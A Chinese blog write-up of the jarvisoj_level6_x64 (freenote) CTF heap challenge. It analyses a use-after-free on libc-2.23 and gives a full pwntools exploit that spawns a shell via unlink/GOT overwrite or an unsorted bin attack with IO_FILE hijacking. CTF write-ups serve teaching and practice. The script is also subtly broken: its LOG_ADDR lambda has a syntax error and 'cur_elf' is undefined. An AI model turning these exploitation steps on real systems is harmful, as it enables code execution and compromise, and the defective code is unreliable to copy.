jarvisoj_level6_x64

jarvisoj_level6_x64

总结

根据本题,学习与收获有:

  • 一般来说,在libc-2.23.so中,能用unlink的题目,基本可以用unsorted bin attack + IO_FILE劫持IO_jump_t结构执行system("/bin/sh")。不用能unlink的题目,但是能溢出修改unsorted bin chunksize并布局unsorted bin chunk内容,都可以用这一招偷鸡。
  • 修改unsorted binsize0x61, 然后从unsorted bin chunk的头部开始,布局如下:[/bin/sh\x00, 0x61 0, _IO_list_all - 0x10, 0, 1, 0xa8 * "\x00", fake_vtable_addr],然后fake_vtable填的内容如下:[0, 0, 0, system_addr]

checksec

image-20210609233419964

运行环境为ubuntu 16.04libc-2.23.so

题目分析

最开始分配一个0x1820chunk,用于管理所有的note结构。布局如下:

image-20210609233717583

需要注意的是:

  • 最后malloc的参数并不是用户输入的input_size,而是对齐到0x80的大小。但是记录的size确实输入的那个数。
  • edit_note函数中,realloc的参数也被同样处理过
  • 有一个read函数,必须填满size,否则会等待输入
  • 使用status来判断note的使用状态,而不是指针

漏洞分析

漏洞点就一个UAF

image-20210609234212715

利用思路

一般来说,UAF可以用来泄露地址。这里有两种利用思路,分别讲一下;

利用unlink

  • 利用unsorted binfd指针分别泄露出heap地址和libc地址,这样就得到了最初那个0x1820大小的chunk的地址
  • 利用realloc功能来构造unlink条件,结合uaf漏洞,修改某个ptrptr - 0x18,这个ptr0x1820堆块上
  • 利用edit修改atoi@gotsystem地址
  • 输入/bin/shshell

利用unsorted bin attack + IO_FILE:

  • 用同样的方法去泄露地址
  • 布局IO_FILE结构
  • 修改unsorted bin chunksize0x61
  • 调用malloc,触发IO_flush_all_lock_up,刷新所有流,执行system("/bin/sh")

最终EXP

from pwn import *

sh = process('freenote_x64')

int16 = lambda x : int(x, base=16)
LOG_ADDR = lamda: x, y: log.info("Addr: {} ===> {}".format(x, y))
libc = ELF('libc-2.23.so')

context.arch="amd64"


def list_note():
    sh.sendlineafter("Your choice: ", "1")
    msg = sh.recvuntil("== 0ops Free Note ==\n")
    info("msg: {}".format(msg))
    return msg


def new_note(length, data):
    sh.sendlineafter("Your choice: ", "2")
    sh.sendlineafter("Length of new note: ", str(length))
    sh.sendafter("Enter your note: ", data)
    sh.recvline()


def edit_note(idx, length, data):
    sh.sendlineafter("Your choice: ", "3")
    sh.sendlineafter("Note number: ", str(idx))
    sh.sendlineafter("Length of note: ", str(length))
    sh.sendafter("Enter your note: ", data)
    sh.recvline()


def delete_note(idx):
    sh.sendlineafter("Your choice: ", "4")
    sh.sendlineafter("Note number: ", str(idx))
    sh.recvline()


def attack_unlink():
    # leak addr
    new_note(0x80, "a" * 0x80) # 0 a
    new_note(0x100, "a" * 0x100) # 1 b
    new_note(0x80, "a" * 0x80) # 2 c
    new_note(0x80, "a" * 0x80) # 3 d

    delete_note(2)
    delete_note(0) # a ---> c

    new_note(0x80, "a" * 0x80) # c
    delete_note(2) # c ---> a
    # leak heap addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_heap_addr", leak_heap_addr)

    new_note(0x80, "b" * 0x80) # a

    # leak libc addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_libc_addr", leak_libc_addr)
    libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
    LOG_ADDR("libc_base_addr", libc_base_addr)

    libc.address = libc_base_addr

    # realloc and unlink
    layout = [0, 0x101, leak_heap_addr-0x17d8 - 0x18, 
            leak_heap_addr - 0x17d8 - 0x10, 0xe0 * "a",
            0x100, 0x90]
    edit_note(1, 0x180, flat(layout, length=0x180, filler="a"))

    delete_note(0)

    layout = [0, [1, 8, cur_elf.got['atoi']] * 2]
    edit_note(1, 0x180, flat(layout, length=0x180, filler="\x00"))

    edit_note(1, 8, flat(libc.sym['system']))

    sh.sendlineafter("Your choice: ", "/bin/sh")

    sh.interactive()


def attack_io_file():
    # leak addr
    new_note(0x200, "a" * 0x200) # 0 a
    new_note(0x80, "a" * 0x80) # 1 b
    new_note(0x200, "a" * 0x200) # 2 c
    new_note(0x80, "a" * 0x80) # 3 d

    delete_note(2)
    delete_note(0) # a ---> c

    new_note(0x200, "a" * 0x200) # c
    delete_note(2) # c ---> a
    # leak heap addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_heap_addr", leak_heap_addr)

    new_note(0x200, "b" * 0x200) # a

    # leak libc addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_libc_addr", leak_libc_addr)
    libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
    LOG_ADDR("libc_base_addr", libc_base_addr)

    libc.address = libc_base_addr

    io_list_all_addr = libc.sym['_IO_list_all']
    layout = ["a" * 0x80, 0, 0x211]
    edit_note(1, 0x280, flat(layout, length=0x280, filler="a"))

    # re-put unsorted bin 
    delete_note(0)

    layout = ["a" * 0x80, "/bin/sh\x00", 0x61,
                0, io_list_all_addr - 0x10, 0, 1, 0xa8 * "\x00",
                leak_heap_addr + 0x380, 0, 0, [libc.sym['system']] * 3]

    edit_note(1, 0x280, flat(layout, length=0x280, filler="\x00"))

    sh.sendlineafter("Your choice: ", "2")
    sh.sendlineafter("Length of new note: ", str(0x300))

    sh.interactive()



if __name__ == '__main__':
    import random
    if random.randint(0, 100) >= 50:
        info("Use unlink!\n")
        sleep(3)
        attack_unlink()
    else:
        info("Use IO_FILE!\n")
        sleep(3)
        attack_io_file()

远程打:

unlink

image-20210609235541204

FSOP:

image-20210609235423075

引用与参考

1、My Blog

2、Ctf Wiki

posted @ 2021-06-14 17:30  LynneHuan  阅读(8)  评论(0编辑  收藏  举报